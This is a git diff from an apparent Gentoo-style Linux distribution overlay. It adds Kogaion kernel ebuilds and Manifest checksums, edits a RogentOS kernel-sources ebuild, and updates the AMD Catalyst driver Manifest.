+K_ROGKERNEL_FORCE_SUBLEVEL="0"
+K_KERNEL_NEW_VERSIONING="1"
+
+inherit kogaion-kernel
+
+KEYWORDS="~amd64 ~arm ~x86"
+DESCRIPTION="Official Kogaion Linux Standard kernel sources"
+RESTRICT="mirror"
+IUSE="sources_standalone"
+
+DEPEND="${DEPEND}
+ sources_standalone? ( !=sys-kernel/linux-kogaion-${PVR} )
+ !sources_standalone? ( =sys-kernel/linux-kogaion-${PVR} )"
diff --git a/sys-kernel/linux-kogaion/Manifest b/sys-kernel/linux-kogaion/Manifest
new file mode 100644
index 00000000..e5bf0b50
--- /dev/null
+++ b/sys-kernel/linux-kogaion/Manifest
@@ -0,0 +1,3 @@
+DIST linux-3.12.10+kogaion.tar.xz 78890528 SHA256 1afdc9e0543849e09409e7379406c03e79d49d305b32e27061fbf46d80b69205 SHA512 a4e8e9b455b6dbfd2ceae2e299a3c334e91dc888c9f92ba960c785627e534b2dcdae10b4b53a0805426781509b48b2e65477dfbd24271feea4d6bef06fb33953 WHIRLPOOL 9aed3b00f63b3f65998f9987ce2eb3543d1fa8cc2a6e09d6421a7d4d228ce0eb5d10a463eab154e566be21d74b3eed0da1a972aca84bbc51a341130a14e1e061
+DIST linux-3.14.10+kogaion.tar.xz 80986232 SHA256 d3fc515f4a3847a3a3342111c0ed26f026f3181ed995a4d9931da82e1b8ea7db SHA512 bacf7daaa4471d8a7d1067238a32fcbb1e18c9e2c4b3b176389643b7af5165dc7f799e73b9b9a5924cb87c1d3356181d5891f2e478c636db4bdc214753d978bb WHIRLPOOL fff716db9f92bc5ca7166f49bd82569d1b86a9c2bc56e83b3ca374b4853b44d2fe260c7c2fe90daab0810ce39b64576a7b2c8aab778e548538dd34ffcf058ad2
+DIST linux-3.14.15+kogaion.tar.xz 80998772 SHA256 616c110da7ca295b2a1ba43608763c28e5878467349fad0cf98e8d00327f4a51 SHA512 bbf7a92fffc94dbd27a5a02110eea5f003c6b38bf339a791374f5b08f400377976fdc1068a52be1216c1c5869a9be438f96cb10f1360779cc784a88dc6a23c4b WHIRLPOOL 5110e2681853ef52bed1a1de7d9b0f983e6b053d764c5c0e30460d946760855ed8b3653297ab69b198c983b8e3877c8523f1bed92946c8558718f621cd400aef
diff --git a/sys-kernel/linux-kogaion/linux-kogaion-3.12.10.ebuild b/sys-kernel/linux-kogaion/linux-kogaion-3.12.10.ebuild
new file mode 100644
index 00000000..423b3325
--- /dev/null
+++ b/sys-kernel/linux-kogaion/linux-kogaion-3.12.10.ebuild
@@ -0,0 +1,29 @@
+# Copyright 2004-2013 Sabayon Linux
+# Distributed under the terms of the GNU General Public License v2
+
+EAPI=5
+
+inherit versionator
+
+K_ROGKERNEL_SELF_TARBALL_NAME="kogaion"
+K_REQUIRED_LINUX_FIRMWARE_VER="20130728"
+K_ROGKERNEL_FORCE_SUBLEVEL="0"
+K_ROGKERNEL_PATCH_UPSTREAM_TARBALL="0"
+
+_ver="$(get_version_component_range 1-2)"
+if use arm; then
+ K_KERNEL_IMAGE_NAME="uImage dtbs"
+elif [ "${_ver}" = "3.9" ]; then
+ K_ROGKERNEL_ZFS="1"
+fi
+K_KERNEL_NEW_VERSIONING="1"
+
+K_MKIMAGE_RAMDISK_ADDRESS="0x81000000"
+K_MKIMAGE_RAMDISK_ENTRYPOINT="0x00000000"
+K_MKIMAGE_KERNEL_ADDRESS="0x80008000"
+
+inherit kogaion-kernel
+
+KEYWORDS="~amd64 ~x86"
+DESCRIPTION="Official Kogaion Linux Standard kernel image"
+RESTRICT="mirror"
diff --git a/sys-kernel/linux-kogaion/linux-kogaion-3.14.10.ebuild b/sys-kernel/linux-kogaion/linux-kogaion-3.14.10.ebuild
new file mode 100644
index 00000000..423b3325
--- /dev/null
+++ b/sys-kernel/linux-kogaion/linux-kogaion-3.14.10.ebuild
@@ -0,0 +1,29 @@
+# Copyright 2004-2013 Sabayon Linux
+# Distributed under the terms of the GNU General Public License v2
+
+EAPI=5
+
+inherit versionator
+
+K_ROGKERNEL_SELF_TARBALL_NAME="kogaion"
+K_REQUIRED_LINUX_FIRMWARE_VER="20130728"
+K_ROGKERNEL_FORCE_SUBLEVEL="0"
+K_ROGKERNEL_PATCH_UPSTREAM_TARBALL="0"
+
+_ver="$(get_version_component_range 1-2)"
+if use arm; then
+ K_KERNEL_IMAGE_NAME="uImage dtbs"
+elif [ "${_ver}" = "3.9" ]; then
+ K_ROGKERNEL_ZFS="1"
+fi
+K_KERNEL_NEW_VERSIONING="1"
+
+K_MKIMAGE_RAMDISK_ADDRESS="0x81000000"
+K_MKIMAGE_RAMDISK_ENTRYPOINT="0x00000000"
+K_MKIMAGE_KERNEL_ADDRESS="0x80008000"
+
+inherit kogaion-kernel
+
+KEYWORDS="~amd64 ~x86"
+DESCRIPTION="Official Kogaion Linux Standard kernel image"
+RESTRICT="mirror"
diff --git a/sys-kernel/linux-kogaion/linux-kogaion-3.14.15.ebuild b/sys-kernel/linux-kogaion/linux-kogaion-3.14.15.ebuild
new file mode 100644
index 00000000..22d5351d
--- /dev/null
+++ b/sys-kernel/linux-kogaion/linux-kogaion-3.14.15.ebuild
@@ -0,0 +1,29 @@
+# Copyright 2004-2013 Sabayon Linux
+# Distributed under the terms of the GNU General Public License v2
+
+EAPI=5
+
+inherit versionator
+
+K_ROGKERNEL_SELF_TARBALL_NAME="kogaion"
+K_REQUIRED_LINUX_FIRMWARE_VER="20140603"
+K_ROGKERNEL_FORCE_SUBLEVEL="0"
+K_ROGKERNEL_PATCH_UPSTREAM_TARBALL="0"
+
+_ver="$(get_version_component_range 1-2)"
+if use arm; then
+ K_KERNEL_IMAGE_NAME="uImage dtbs"
+elif [ "${_ver}" = "3.9" ]; then
+ K_ROGKERNEL_ZFS="1"
+fi
+K_KERNEL_NEW_VERSIONING="1"
+
+K_MKIMAGE_RAMDISK_ADDRESS="0x81000000"
+K_MKIMAGE_RAMDISK_ENTRYPOINT="0x00000000"
+K_MKIMAGE_KERNEL_ADDRESS="0x80008000"
+
+inherit kogaion-kernel
+
+KEYWORDS="~amd64 ~x86"
+DESCRIPTION="Official Kogaion Linux Standard kernel image"
+RESTRICT="mirror"
diff --git a/sys-kernel/linux-kogaion/linux-kogaion.skel b/sys-kernel/linux-kogaion/linux-kogaion.skel
new file mode 100644
index 00000000..27f51dab
--- /dev/null
+++ b/sys-kernel/linux-kogaion/linux-kogaion.skel
@@ -0,0 +1,29 @@
+# Copyright 2004-2013 Sabayon Linux
+# Distributed under the terms of the GNU General Public License v2
+
+EAPI=5
+
+inherit versionator
+
+K_SABKERNEL_SELF_TARBALL_NAME="kogaion"
+K_REQUIRED_LINUX_FIRMWARE_VER="20130728"
+K_SABKERNEL_FORCE_SUBLEVEL="0"
+K_SABKERNEL_PATCH_UPSTREAM_TARBALL="0"
+
+_ver="$(get_version_component_range 1-2)"
+if use arm; then
+ K_KERNEL_IMAGE_NAME="uImage dtbs"
+elif [ "${_ver}" = "3.9" ]; then
+ K_SABKERNEL_ZFS="1"
+fi
+K_KERNEL_NEW_VERSIONING="1"
+
+K_MKIMAGE_RAMDISK_ADDRESS="0x81000000"
+K_MKIMAGE_RAMDISK_ENTRYPOINT="0x00000000"
+K_MKIMAGE_KERNEL_ADDRESS="0x80008000"
+
+inherit sabayon-kernel
+
+KEYWORDS="~amd64 ~x86"
+DESCRIPTION="Official Sabayon Linux Standard kernel image"
+RESTRICT="mirror"
diff --git a/sys-kernel/rogentos-sources/Manifest b/sys-kernel/rogentos-sources/Manifest
new file mode 100644
index 00000000..2eb9bb5f
--- /dev/null
+++ b/sys-kernel/rogentos-sources/Manifest
@@ -0,0 +1,2 @@
+DIST linux-3.12.10+rogentos.tar.xz 78869944 SHA256 30bf41c01666e250817c286bf069b7a6a93d62d3404ec13c9032304201f3d856 SHA512 9206e5887f7bc24ab4d03e4397499fcda3680bf331de84c9c269ef9ebe0dfbe283449ad1080846dc119fa6d9f502866297288e475ac2e9b3bd059c1ca2e1a125 WHIRLPOOL d0a970d949b65047eb5b46b15df2de88e577806e9f47b6841fed97d646b354b4fa500715eab5bb8f4c81b21ce6e99bd23c8b878eea6d0cec61dde988b8bcf1c1
+DIST linux-3.12.8+rogentos.tar.xz 78802920 SHA256 5a037be36e2d0cf50136e5e5b515642f48d33e9cae47db7d2714585a1e4769f3 SHA512 b48c9e7380f15386f41fb6889547a483e14167ee2923a47f2aff6a124d895207bd8eff25c99bf50f7b988b16270ae1df2bee5cfca5620974c00332bfe360314f WHIRLPOOL 5526d2098dc6a978fa23ffc33ea7cf92bb3691ff077a444570d02e877f0a9a46ad15729570dfb13f4564e70156d4fc1aec6c82442829a45b1ea1b55410de7bd4
diff --git a/sys-kernel/rogentos-sources/rogentos-sources-3.12.10.ebuild b/sys-kernel/rogentos-sources/rogentos-sources-3.12.10.ebuild
index 756f78ae..2cec6130 100644
--- a/sys-kernel/rogentos-sources/rogentos-sources-3.12.10.ebuild
+++ b/sys-kernel/rogentos-sources/rogentos-sources-3.12.10.ebuild
@@ -1,19 +1,19 @@
-# Copyright 2004-2014 RogentOS Linux
+# Copyright 2004-2014 Kogaion, Argent and ArgOS Linux
# Distributed under the terms of the GNU General Public License v2
EAPI=5
K_ROGKERNEL_NAME="rogentos"
+K_ROGKERNEL_URI_CONFIG="yes"
K_ROGKERNEL_SELF_TARBALL_NAME="rogentos"
K_ONLY_SOURCES="1"
K_ROGKERNEL_FORCE_SUBLEVEL="0"
K_KERNEL_NEW_VERSIONING="1"
-K_ROGKERNEL_PATCH_UPSTREAM_TARBALL="1"
inherit rogentos-kernel
-KEYWORDS="~amd64 ~x86"
-DESCRIPTION="Official Kogaion, Argent and ArgOS Linux kernel sources"
+KEYWORDS="~amd64 ~arm ~x86"
+DESCRIPTION="Official Kogaion, Argent and ArgOS Linux Standard kernel sources"
RESTRICT="mirror"
IUSE="sources_standalone"
diff --git a/x11-drivers/ati-drivers/Manifest b/x11-drivers/ati-drivers/Manifest
index 00e28fcf..a1751e88 100644
--- a/x11-drivers/ati-drivers/Manifest
+++ b/x11-drivers/ati-drivers/Manifest
@@ -1,61 +1,19 @@
-AUX amd-drivers-3.2.7.1.patch 560 SHA256 7cc315754a47fbda6bf36bcee01780da7c19535c4f6ec1cccc556e9a7b32d263 SHA512 bcdc89e7a7148f5eb5450364298de6fb95dcad0d3c8d7091e9236d4f4b9cff0be24d59e8ed4ccdde0c8e94985ab8b4e7d5848e1e0e7102c699edb9230dbe57ce WHIRLPOOL 85ef893cd8bffa0d41b99eccd8b6e1ed713f69cc683dee52268ea0d6bc6fd4a77b3fdab31dd1e35ec3bbd21b399725286289c9fb3a276eff3922c1f8cf0746a2
-AUX ati-drivers-12.2-redefine-WARN.patch 1316 SHA256 f7d8ad3307823925cf8b4c6540db17a51553e48dd008793fc026803bb2aa1ced SHA512 1ee5f7fb5dc629f186754dc83a7d718a6a8acda836dadb2b87bd616c424db0aba067fb833d966cf79425ad78d94ab3f7c4014bbe2356f394630b0761625e74ab WHIRLPOOL 75987965689042342a923d4542a3f1b5eb4ba8ce3fc1ede82be8aeffaa2154a0dc75c507a4772bc00ef510eee7f4b47a51a2ea43aadce6e742e842e348c15b40
-AUX ati-drivers-12.9-KCL_AGP_FindCapsRegisters-stub.patch 799 SHA256 0001fa7f2c3e15ec315f6c963dd428b682778c129250941a849577b8b3293e36 SHA512 a7ae5e7017c9b5a68d112d9a77df40ada722b06aff0cc31147713bfbce2419f9ca8c22b40398ab8b80c86427ff086a5617fb6de93d540af54365c7039cdcfe0f WHIRLPOOL 809c5bf8f0b0381af6a8549c36fcd00e75ff2f571f21cef3f2dec9ea823c65c29db28373b7145f39b9ed2cad234ec3c063407fb7a12260cfe1fe62eb67b5780d
-AUX ati-drivers-2.6.33.patch 3888 SHA256 88c242d50e9e158b5cdfe8de49abb49deb9f7d4fd4a3e014b9092a5eaa58332c SHA512 20d94e258766dff4b18ef26bee66f415b8975bbbae8dd4bfd2d7354538302c571747d5d672d3cdd1fd97bb4ce8e24756ab9afc7ebd55e9f7f19e3acee8bfaff1 WHIRLPOOL d7d753fa4a1c3f9432cf151a3ea524173036462c7850dc9309a8097bba61237194970e99d735f9efebf43253fc626e7b9ab1e69f95919fa76b2b60bf98696d61
-AUX ati-drivers-2.6.34.patch 358 SHA256 b6da2f0ad829a14b7e50d4ff2bab493ce45a2f4493bc558e28122c4fe7d4032c SHA512 a9329d3696d99395667a0b022fa64c1d4c35caeb144c9e08404613febe525d8e286ec36332232b0072bcf46e9380aa04fb01d010028ff0de8cb7aa530c91768e WHIRLPOOL cff3dab1b4b27bf99bc3861377849ecb5824228eeffb8a02fc0c2b2246b6a585443aaac7ef10a561ea9ac8d2ff00af378e2412dfafc62816fb9ab3f2515b8d71
-AUX ati-drivers-2.6.35-and-newer.patch 434 SHA256 6a962e79bfd01cd35488dc946c4e0056b5734c15711b6cb9e28c6fadc92d6bb4 SHA512 2a2d0bc62d946ac765a321cf0ab6c6d595622fc57426678f12c8c116f9f8f472e180f8349632ed725c612830f27af4f48180634555c3c7462ce8e59989c295f3 WHIRLPOOL cc2c87578729ade8268394084bde899ae1690a4c8720f4e4b6bb5c3778d896af434440a2993d87bf5a6d445757fdd86384344e4616e167122cc1d526705ad093
-AUX ati-drivers-2.6.36.patch 876 SHA256 00ffca26787d4c2cab6848cf0bec043e6c099c60738aebacb2148e920738fcb6 SHA512 2ee3a5b342aa13a64e033c0de109afa4330d85db440177804f24a3ed27a112719f688d8ad9b353d5b7c49ebb5a8944c397c0da552a59d33e12a8f3cb8493616c WHIRLPOOL c6b1937ec94e06d99b8c15b5d9c66b028d9171e21cc6d059f4e2ca571a88f6adb2d8cbbb7901e662d7e26a8c4c4e4835f6f4d49d43a72c627c4e2584c9f5c1f9
-AUX ati-drivers-2.6.37.patch 495 SHA256 acce741df8842178c54db4a01ed68a9dd54c331b0d6c153ecaf4f088cf0f18a2 SHA512 7dbcf85400276ec15f2250d5f9d3a06d65653117a0a623bcab32395db511c2eae27e74eb4386b2f6167b214a8a94d2b863e5c60d1c954aa02e3ac4e8f27f873f WHIRLPOOL 52f9692292a8ede8db07e4c81b0d15104cc3b9b85fb3e065054e1bcbbd1903a5290754637d4a1b2d93199739d9ef18e9878df391601db3d9877c29c381ec0bbd
-AUX ati-drivers-2.6.38.patch 1645 SHA256 46ae66c3985ce3af21e36d3bd71019a6b81e2884099253e2772384bd67a77c24 SHA512 335203e4b1811f6aff97e5beedc83beebe45f98080a925c4db9ed6c4a167455717333cd4888754d0b65768e8ebc0dd6aa6addd9a0d27209ca72294f8ac963804 WHIRLPOOL 3c25a1d0a23707c05aaf4f10602e77158d5469f98cd7d2fc351f2b9a72561b803fefa8cbc15e5b17cf7938e7074608d93fc418a6e48e987422377bd800f9a685
-AUX ati-drivers-2.6.39.patch 1706 SHA256 5c996373065e91da6b4441bdc819b7081896944f4b69253c37bf4611a157c2e5 SHA512 78791d267cf53b4493d5483ca1259cf17b58f88ff92a1f5e86bcfccacd09407fb12859cbf628a1ec11ac85bf0d348b9f8932beb5cdafded8dee53c64d5921f58 WHIRLPOOL 48f3bbf0d976a70db24cb1690521f512ea44b6b4db98b9d7616ddfad7f273064154ef34c353cf97b2f448b7b913279978e008b38084a32a4548b640afe07f4cf
-AUX ati-drivers-3.2.8+-2.patch 351 SHA256 ba3158e05807112c715a65216dee30b23659456c2e50e0c6f533a5965afeb72a SHA512 cf9df9a984055ec805ca72139a92dd959bf4192ffe94ce2d63ca600a9ac8708a1aa99ceca519347259941dbd5f7972c022fe74716ac46357555f90056279c9c4 WHIRLPOOL ab16dc45544fc755968d9dc6fd18ad248e7743528e78e80e8cc7b6e78418b27812a1c1308c77ef3e67fff99a6c7781c2d93c4fd07a950918df1269a22c857efe
-AUX ati-drivers-3.2.8+.patch 797 SHA256 b30da95eebea23d4f54755bf986d7bd73ee5d13aa8e3d179ec3d0de90929e33d SHA512 859072e979681ae971e75b167351ef0aa7be521f6fb2e37cde8a3462345f6ec83af1c5b417d04165158847951018493f80fc3dff50f38bfa9b680bf6febae725 WHIRLPOOL 658d1d1868f783c9d31decf7102f790905e24723395fb148095e9a8ab30261b184e26f66651bbec18ddb97ca02dc1ae0d58f44fedaf11d6fe865bc83f1b943ad
-AUX ati-drivers-CVE-2010-3081-fix.patch 2730 SHA256 bbace941d6e1e399b7ab46affe1887edb9a38892ccc2a498017146b838818afc SHA512 56b0aec0344788cf50765284f879fe804226fc930f43efaa0c8d536e0e3164ce3d9218236977fcca3499a5b199bd57e1e5c9d92c77a2658a75d82f47586e9082 WHIRLPOOL da473efb8149f8de43987c842d0214978eb08bbd6b3060cfec1fed50152501e5f10dbe02743d9e61888790f2e9fcecd6c0aa96d3ff9b6e48348885df14398fbe
-AUX ati-drivers-do_mmap.patch 1405 SHA256 3fc9bae50d25d3bfe76a3a1e89c8d025674a4cb9afd16d3a5d8b3c25a66f536d SHA512 1a2f8fe7f2506037d6d158e5c2efffa39c503566284d8f516cb2d84db546eced24df5dcb8d74ac84911589efb4547d7f8610d78ad29703f9ed0a9890576c51b7 WHIRLPOOL 86daa957d7569b26fdf92929e5b04a32379af067a208628eab1a4541fdebfb51fa4bfedeec63f4685c6258adcba2ddc4223b69dca329ecbebd4ba13167f66f82
-AUX ati-drivers-fix_compilation-bug-297322.patch 1114 SHA256 edbfc56eec848389c3dfdd94362322de41027b9813128d2d4f8e476d1d8581e3 SHA512 c2c4674ff63b05c4f5f007c64f70ebfd4bf6ba1a82938f06647d9683315105e3cee77716eed1efdd599177457164e339145ed0d51f2bbd7ad1f383dbb64634cd WHIRLPOOL bd3aa26fb333850ac0a5b554ab7cd5ac583ef9f277d6ada64d27dcfef0f1fe5174f67e04f8e951275fcfe449a80d2701c3a1d85e65ac55ef5665144924b2b127
-AUX ati-drivers-kernel-3.8-acpihandle.patch 717 SHA256 f7012bbc1d27a4d9207f8ba78256684a74b917311f525d3b061c11caefad2846 SHA512 a064ad1ebbb1010349c22d6fd6a4a3715df3d7087353a70199957b5c1c325b533b21c3f004567362a834faa0d8f169296ef996765d47439fdad4109a0d01f85c WHIRLPOOL e0eb93cd367f9e6e1848c3c3301c914f783865eb5d6c11a27a334624ee84cf7ee99073a6a2ff69014c8b920a51933573bf1224f53ea64c2666968f93ca922003
-AUX ati-drivers-old_rsp.patch 989 SHA256 dd222de89b515046c6cbfef172a3ec8d4bc48664799b3bbfff648091c6d54b49 SHA512 b86a230f126950d309b899ab3445154cf38cb8127b7686d0a467df6d3561a1785747e9522c00b55a294961c1157fe41833a5a85d4737775ae68bdb4099b0ee37 WHIRLPOOL cd06422ee90587c5c7485074b03ccaaef921134c721c0d0f6f678a9c968aae6417523c77d6dfcccc856cb5d125579197cd3c6a5b1c8557ce621784eabd0c43fa
-AUX ati-drivers-redefine-WARN.patch 1135 SHA256 16b7e5f1527d3a9e80acb036e5684049a0d280521cc247d535a354236f863b10 SHA512 97c064b9b89288657a027d1161cc2e26781f882e9c189ae1a55a6fc28ed54a5bd8e3993f9b0b1f75cf29100cc30a9760bd3feaf296da6cc66580bde82a6d1ded WHIRLPOOL 7416f2a5e29622e7337cf87f79d45f1da6824645e3537d04100fa15fafedd53b567a5f3fb9c7423586b436dc5441bfc74427d59582b8df51e00c604c1bc6efac
-AUX ati-drivers-vm-reserverd.patch 408 SHA256 61128444938f94f911325b6cac810d3cb3614d0002758e48ba976b678414df30 SHA512 34cd4705f632b1493eac756538eb21fe0e090f78cf92cde7c2a7094a8fc8134ee6d5dd24c6bb9ad18c8ef46dd1d5505ae12d43032265cd4ade03793f277fe4c2 WHIRLPOOL 5a1a98145576b20bdd2e80e5f7f9a2b9bab02942a9fb83814d73d17f1bfec690ee0cd2ccfdf418f297e75432d8fcee8164a1d179eeb5bc716e1becf96bb373f1
-AUX ati-drivers-x32_something_something.patch 486 SHA256 9eb114a797089fca3693420305a6b668c4d7a16a722d5faa53dd904bba1b4c07 SHA512 157884244a49748c897a2eca1a46bf40631042d15af85c2b2f49bc3c3c48f5638dec815a4e9c67ee2c8b88cc15b7f71e9fe4d9bfebf5444bb169542048f66499 WHIRLPOOL f7583d7df16c9eb608aff2330b4bd55ede34986e6f3cf63aa4cb2c77dcfade7c499f1b4cef95fdc8e6ab28d7bb5544a80703bcf5a41eae6b90ca8830b6fdd888
-AUX ati-drivers-xen.patch 1994 SHA256 514dad9629fc689ec0344875a29d713f9d8de7ccbb0a22a2b80ede11bbbc6c58 SHA512 28eeaeea4589a5d87759e318abcf4f8d8e9b2fb3e289f76001cc17f8e515135aa023a424a0149240ad64fcf7721d15864c7218c30c3a097240c800384991e77f WHIRLPOOL 0f0965808d4270e8421d87575ffb1e51a2e095c746e7f536bb091b03287543d176f582976bfec51a5b9eb14c2e3a04c126b23447a6eb39f6e90eb76eda42236d
-AUX ati-powermode-opt-path-2.patch 1634 SHA256 e7749e04a3aa24132b13d0c694563a45c0d38e238f7412a75bd89aa9f9e9ead1 SHA512 7fc91789157d6211726d26be066e3984871eb579c77c422bde27f489f72215e66dbfb5d477ea6882d46ed6d0c63b9f01fdd5ee196fd6a2809bfc3ca22badc859 WHIRLPOOL a3d6f9335c748192a65bb3493a1dd2f604ef6b1270760908bb541d10ac9c4eb8009d7d5fb145b37c6fbfc1512a70ecda3c79f6f56396f8424f072fb92059e0a2
-AUX ati-powermode-opt-path-3.patch 1471 SHA256 35e73fef3d8e39714e8d6e73afaa7b205505db3bdd65c364e7ea02fdc0cb3055 SHA512 0e17026847062117993ba6115942d16421f6b9943afd57913c96e7550b0e49f3ed10e06bc98f9db1a5ba4af7c42dae6b55a332a97e73d48dba7f61ed0ad35ad4 WHIRLPOOL 39861d10d307e537549ed0c7967e18ad3ef658af66396f5491d1f2e13ab13e8b8e252d4c14b5ab616ff5aad69a599cf3b32accedd51438021d50cc074fa296a8
-AUX atieventsd.init 533 SHA256 20010ebc5cb286149f3c4c9c099b6470463ccdb8fd47cea054b783dc2ad1fff3 SHA512 9f8990bb5619f99524e0759a1c4b41b0b2c081c6eecb3916ab60df8e6b59d99e3615af61e0ba5b71d003ccaaf41e2143237b26f36f64f00a47e0fe94f83473dd WHIRLPOOL 21979818a19bc27e3527958c66bf45654df4a307862897530bc02be6616f45ee210590a9d1bcab84336c6061482034010efbb251770bfaf023f20ffae8212ecd
-AUX const-notifier-block.patch 878 SHA256 cd73f5e15d9521a989d8cd9b7e3b252406e7b89fdfc129fd2d470f0bc86e8457 SHA512 1b84cb85ce903d80ad50a0e2d53509016625d1ede070e18b800408d486dc89d5283d801d6449eb81ee25a7adffbd0094b57a301842364e1fb58cc6bf9623e5b4 WHIRLPOOL ee9785d250632cd8843a5995f36442ff6abec2d5a7158f3604a6bc147c7db251608b9484c3ac95376c4cc6b6a15f6682675bd011eb6a193a073ba873e17a9872
-AUX kernel/2.6.31-fglrx_find_task_by_vpid.patch 581 SHA256 4e95b588e894cfb89270168cd771c67bf270c805f30481fceebe47aac3f36980 SHA512 e65f31db60cd99c99dfba95c2f2fe0ee5f434092e7218dbdf6a727e3ffaab3d511541aa1ab64a53589d6fc89023c45d972708c0bd925840fa568f0d7f6faa512 WHIRLPOOL ee1061bff86a5711474eaea8b1b8a2cad5ff02e9a093e197af9a55e9b2dc33ed6bf38dfe02afec4f910250a241900049dd3986c65e95f98991a46549cb37c343
-AUX kernel/2.6.32-9.11-fix_compilation.patch 1434 SHA256 bd2df542c237d0570c3c75c0251514bbf8b67f3ceb40e734916ea53c75c189b7 SHA512 6676ba917616324e58a8df498cd2611523a38e2dfb5ea5683580951d3a39b2cc0040e00bc2238d1ef94f009e1771a6dddb2c02988d8af9aae6373f717ab9234b WHIRLPOOL 605bf802feede69c43a515b3b289c181c50b2f176028c7d170c41dd641bd5efed7d0ccad668d21a3d7c5c5c0f6418e317ba6c723e773269d063afb8990bae95b
-AUX switchlibGL 1349 SHA256 a4aa2107fdb903da77fea432bc809a1155e213db460fdec72fd1c3c7cc0d13a0 SHA512 51d2912aa6ec2002b096c0483be69650d682feec54486ed5226b91988bc1516f718c71d9f58a2b28e0dbc512c0300ea271f9a97885776dd045fe324f1549b85d WHIRLPOOL d335ea9c57a28f8450423089bbf798da77cc72fff6bad1221989412808abcd6bcb7afa41aa2b04231feff3dac6eaaff58a7595173e53b6cf0f5d3d591997b43d
+DIST amd-catalyst-13.12-linux-x86.x86_64.zip 160571830 SHA256 024033f4847d1c2a182fc44e0b3df29b2d133e24aeaba390f4504a8f3361a0ca SHA512 bf02aea47dc0588e8fe6590ff5665b25b34b3e10499348e2eb786ba89b32703897753852e6ee8ed52c3d0f8eef46f2026d130329d7af75191e605975379d0109 WHIRLPOOL bcdac0f9641cfdc6d89cd5544fe22dda91f64ae8d34dcd25b55930702108b1bee1db0cdc85d8a68a78fddc34f7f30ab88c9813d3a6ba38b3abf37a24d6210707
DIST amd-catalyst-13.4-linux-x86.x86_64.zip 122588023 SHA256 ebec78c7f78db3601d1c97116a6823076a7765318e16d88b619ebc80d4c6d1d5 SHA512 ce012f46527ee0073f658e97dd793954930b934b96be9e1c6cd1d344e7734ef81949b484701d5e7e1ebb221f46b5a617f4efb4445e42c06ac0a8b4eca76463fc WHIRLPOOL cb0f7af6d0474c3d521c5785bab49d76da7e09e1ddd02dc0e72b70b5afdb2bd1e07d4a4115a755f213718e7c32c816697d993b73706d58be68fa043aef1ad551
-DIST amd-driver-installer-12-1-x86.x86_64.run 106085279 SHA256 8d76700e0db68f74f735808ee7fd446cb5072734ba6ec03f2dd82c05ebfdc81d
-DIST amd-driver-installer-12-2-x86.x86_64.run 107213014 SHA256 054796cbf2d99e4b545d062ce8eabfd973e74e2e21a159092816238b001618fd
-DIST amd-driver-installer-12-3-x86.x86_64.run 108029053 SHA256 5f90c7e472ca0095efc16097ac7bcda846be0e980cc4d3e588cc4089efe8fb57 SHA512 5c5380dfcebacb7c4d7f0e6ffc5d26955f155266577c903bd4b4fc9d9bf5f241e6e13dc7ee14e14c96e9e0ad19d7d6680609978cfa1c5c4ec2f5d50881a43ee0 WHIRLPOOL 5e179a0ef89520dea6a5d249f4c55bd58310769131edc82babfb66c9ce946511effe7a32e883ba30a9bc40a3e6dc8194b57cbbfe0cb2593bec463de7816612f1
-DIST amd-driver-installer-12-4-x86.x86_64.run 108360519 SHA256 7f3ba3d96eba30fc09aec03ba72f5482d3b192bb0ea63a5e7b79454b053cb63c SHA512 fe466df547a05efb37b0dd1c685f819ceb51af83acefd65f2e500ab9165feac841d4b07afc32dc26391762963e929624e55115c0f505acb78289540baaadcfb5 WHIRLPOOL 7aa8817e75943977b753a93015a7d1e0f7a95383e6aaae7317da29eb07caa520a5376b2ab80e7caded543939d3c9428b80d915d5ba3d8377068349189890729c
-DIST amd-driver-installer-12-6-x86.x86_64.run 106660241 SHA256 b5c6070dc75e9296d0f04e7e0b3c6697f6c21872d50b1dcf4d7b3b0ab7ce7155
-DIST amd-driver-installer-12-8-x86.x86_64.zip 105413213 SHA256 62525173b2b7602aa4e7e46a109204d0f349abfbb135c86d03db5cd57642bb41
-DIST amd-driver-installer-12.6-legacy-x86.x86_64.zip 106888385 SHA256 5353a3f874d31f0fde46c390ce17cc2f27875156dbf3e7c20b5cca494a058102
-DIST amd-driver-installer-catalyst-12.10-x86.x86_64.zip 111686672 SHA256 ca2a097324687245801b3350316880d706c82f43684839dcf7f86f55141d835d SHA512 cef8a1f822d2a9bd81cf85c1410b75d400808946443c2bf95281f7c2cbcf376ac423199f41125825ed6639eaacd14ea688acc5c5b164186a4715b62ed6f5fb63 WHIRLPOOL 2186151882d9ba69af2a39a0a4dbb26adbff87fe69a90c40798e2390c44ce100e8d71f03c0c86e3a8be5d3429f98f3c107578aa5508b6fb983ca4235e0de8f74
+DIST amd-catalyst-13.9-linux-x86.x86_64.zip 120482826 SHA256 ebade5062713c69d2b703b0a3f62defc409d58e98ceab3bfac7a71643c0c4cd3 SHA512 887c1146920ba7e5b31efd63b1a1b7d9cab586e8c6d705706e0b176b3527e542f452d919cd015c3a04d6f42c884f27d983b2a9229b70716129a94674dd7f62b4 WHIRLPOOL d8b6c7ed772898914c256674ae08a8b3d3054eb5bdfc2f00dc4c796a36b4654c3101410786adb54eaae44ff35386db2aa8d8db12d70805f8732d0709412bdbcc
+DIST amd-driver-installer-12-1-x86.x86_64.run 47828 SHA256 356679212eae39c91a9e6dc22f41e4eb033ef0249aaeb12de34ede6fa1b55d6d SHA512 48d567f2891b522bffec2b3baaf0cd872073ad5bb960a4d8b4847d901fd4560c6b79973f6c6c82d09c8dd5b67f64f3b65140091b0d997735364a63e611f3f37d WHIRLPOOL 4768847f08f16987c8a506fa5f720a994f0f9f550373295020c72c801692b7998edc70027602a2e1c41f257638a73bc09813115b98b6ee4b583449bb7be78e4a
+DIST amd-driver-installer-12-2-x86.x86_64.run 47828 SHA256 356679212eae39c91a9e6dc22f41e4eb033ef0249aaeb12de34ede6fa1b55d6d SHA512 48d567f2891b522bffec2b3baaf0cd872073ad5bb960a4d8b4847d901fd4560c6b79973f6c6c82d09c8dd5b67f64f3b65140091b0d997735364a63e611f3f37d WHIRLPOOL 4768847f08f16987c8a506fa5f720a994f0f9f550373295020c72c801692b7998edc70027602a2e1c41f257638a73bc09813115b98b6ee4b583449bb7be78e4a
+DIST amd-driver-installer-12-3-x86.x86_64.run 47828 SHA256 356679212eae39c91a9e6dc22f41e4eb033ef0249aaeb12de34ede6fa1b55d6d SHA512 48d567f2891b522bffec2b3baaf0cd872073ad5bb960a4d8b4847d901fd4560c6b79973f6c6c82d09c8dd5b67f64f3b65140091b0d997735364a63e611f3f37d WHIRLPOOL 4768847f08f16987c8a506fa5f720a994f0f9f550373295020c72c801692b7998edc70027602a2e1c41f257638a73bc09813115b98b6ee4b583449bb7be78e4a
